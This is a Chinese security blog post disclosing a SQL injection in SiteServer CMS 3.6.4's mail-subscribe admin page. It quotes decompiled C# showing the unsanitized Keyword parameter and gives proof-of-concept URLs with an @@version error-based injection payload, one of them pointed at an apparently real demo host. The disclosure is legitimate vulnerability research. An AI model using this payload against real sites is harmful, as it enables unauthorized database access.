记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

siteserver最新版3.6.4 background_mailSubscribe.aspx页面注入及修复

2014-01-03 12:01
注入存在/siteserver/cms/background_mailSubscribe.aspx
 
用.NET Reflector 反编译SiteServer.CMS.dll这个文件
 
查看代码如下:
 
 
 

if (((((uint) isPostBack) - ((uint) isPostBack)) >= 0) && isPostBack)

{

this.spContents.SelectCommand = DataProvider.MailSubscribeDAO.GetSelectCommend(base.PublishmentSystemID, base.Request.QueryString["Keyword"], base.Request.QueryString["DateFrom"], base.Request.QueryString["DateTo"]);

}

else


Keyword



public string GetSelectCommend(int publishmentSystemID, string keyword, string dateFrom, string dateTo)

{

// This item is obfuscated and can not be translated.

StringBuilder builder;

bool flag;

bool flag2;

if (publishmentSystemID != 0)

{

goto Label_02D7;

}

if ((((uint) publishmentSystemID) + ((uint) publishmentSystemID)) >= 0)

{

goto Label_0311;

}

goto Label_026E;

Label_002D:

return ("SELECT ID, PublishmentSystemID, Receiver, Mail, IPAddress, AddDate FROM siteserver_MailSubscribe " + builder.ToString());

Label_0069:

builder.AppendFormat("(AddDate <= '{0}')", dateTo);

goto Label_002D;



.....



Label_0197:

if ((((uint) flag2) + ((uint) flag)) <= uint.MaxValue)

{

goto Label_016C;

}

goto Label_0151;

Label_01B4:

if ((((uint) flag) & 0) != 0)

{

goto Label_02B6;

}

builder.AppendFormat("(Receiver LIKE '%{0}%' OR Mail LIKE '%{0}%')", keyword);

goto Label_0197;

 

 
 
http://www.target.com/siteserver/cms/background_mailSubscribe.aspx?PublishmentSystemID=0&Keyword='%20and%201=@@version%20and%201='1&DateFrom=&DateTo=
 
 
http://2012.moban.siteserver.cn/siteserver/cms/background_mailSubscribe.aspx?PublishmentSystemID=0&Keyword='%20and%201=@@version%20and%201='1&DateFrom=&DateTo=
修复方案:
对那几个参数过滤
知识来源: www.2cto.com/Article/201401/269704.html

阅读:132501 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“siteserver最新版3.6.4 background_mailSubscribe.aspx页面注入及修复”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云